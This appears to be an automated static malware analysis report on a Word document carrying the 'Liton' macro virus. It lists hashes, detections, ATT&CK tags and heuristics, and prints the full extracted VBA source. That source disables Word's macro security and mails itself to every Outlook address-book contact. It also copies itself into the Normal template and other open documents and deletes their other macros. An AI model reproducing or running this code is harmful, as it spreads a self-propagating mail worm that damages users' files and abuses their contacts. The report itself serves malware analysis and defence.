Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 dcce8d73b76c8761…

MALICIOUS

Office (OLE)

41.0 KB Created: 2001-01-02 13:09:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: dc75237c4391f958a217429e74c89d14 SHA-1: 05cbd6658ba0ca895947c8c16f12ac449680d795 SHA-256: dcce8d73b76c876119aac2c23570f367c726ab9c2b869702e4f1af5d90523574
356 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1071.001 Web Protocols

This document contains VBA macros that leverage WScript.Shell and Outlook.Application to access and potentially exfiltrate email addresses from the user's address book. The AutoOpen and AutoClose macros indicate an attempt to execute malicious code upon opening or closing the document. The script's intent is to harvest email addresses, likely for further phishing or spam campaigns.

Heuristics 9

  • ClamAV: Doc.Trojan.Cobra-10 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Cobra-10
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Dim x, a, ctrlists, ctrentries, malead, b, regedit, regv, regad
Set regedit = CreateObject("WScript.Shell")
Set out = CreateObject("Outlook.Application")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Dim x, a, ctrlists, ctrentries, malead, b, regedit, regv, regad
Set regedit = CreateObject("WScript.Shell")
Set out = CreateObject("Outlook.Application")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "Liton"
Sub AutoOpen()
Call Liton
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    End Sub
Sub AutoClose()
Call Liton
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3300 bytes
SHA-256: 456892b7aa693c1783e78a6a3feb6102df9fc2b893adeb6882d51141b01b4473
Detection
ClamAV: Win.Trojan.wmvg-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Liton"
Sub AutoOpen()
Call Liton
End Sub
Sub AutoClose()
Call Liton
End Sub
Sub Liton()
On Error Resume Next
CustomizationContext = NormalTemplate
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Lavel") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Lavel") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
CommandBars("Tools").Controls("Macro").Visible = False
CommandBars("View").Controls("Toolbars").Enabled = False
CommandBars("View").Controls("Toolbars").Visible = False
Options.VirusProtection = False: Options.SaveNormalPrompt = False: Options.ConfirmConversions = False
End If
Dim sr, wd
Dim x, a, ctrlists, ctrentries, malead, b, regedit, regv, regad
Set regedit = CreateObject("WScript.Shell")
Set out = CreateObject("Outlook.Application")
Set mapi = out.GetNameSpace("MAPI")
For ctrlists = 1 To mapi.AddressLists.Count
Set a = mapi.AddressLists(ctrlists)
x = 1
regv = regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\" & a)
If (regv = "") Then
regv = 1
End If
If (Int(a.AddressEntries.Count) > Int(regv)) Then
For ctrentries = 1 To a.AddressEntries.Count
malead = a.AddressEntries(x)
regad = ""
regad = regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\" & malead)
If (regad = "") Then
Set male = out.CreateItem(0)
male.Recipients.Add (malead)
male.Subject = "Important Document From Microsoft Corp."
male.Body = ""
male.Attachments.Add (ActiveDocument.FullName)
male.Send
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\" & malead, 1, REG_DWORD
End If
x = x + 1
Next
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\& a, a.AddressEntries.Count"
Else
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\ & a, a.AddressEntries.Count"
End If
Next
Set out = Nothing
Set mapi = Nothing
IncNor = False
For Each Ad In Documents
IncDoc = False
For Each MC In Ad.VBProject.VBComponents
If MC.Name = "Liton" Then IncDoc = True
If MC.Name <> "ThisDocument" And MC.Name <> "Liton" And MC.Name <> "Reference to Normal" Then
Application.OrganizerDelete Source:=Ad.FullName, Name:=MC.Name, Object:=wdOrganizerObjectProjectItems
End If
Next
If IncDoc = False Then
Application.OrganizerCopy Source:=ActiveDocument.AttachedTemplate.FullName, Destination:=Ad.FullName, Name:="Liton", Object:=wdOrganizerObjectProjectItems
End If
Next
For Each MC In NormalTemplate.VBProject.VBComponents
If MC.Name = "Liton" Then IncNor = True
If MC.Name <> "ThisDocument" And MC.Name <> "Liton" Then
Application.OrganizerDelete Source:=NormalTemplate.FullName, Name:=MC.Name, Object:=wdOrganizerObjectProjectItems
End If
Next
If IncNor = False Then
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Liton", Object:=wdOrganizerObjectProjectItems
End If
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.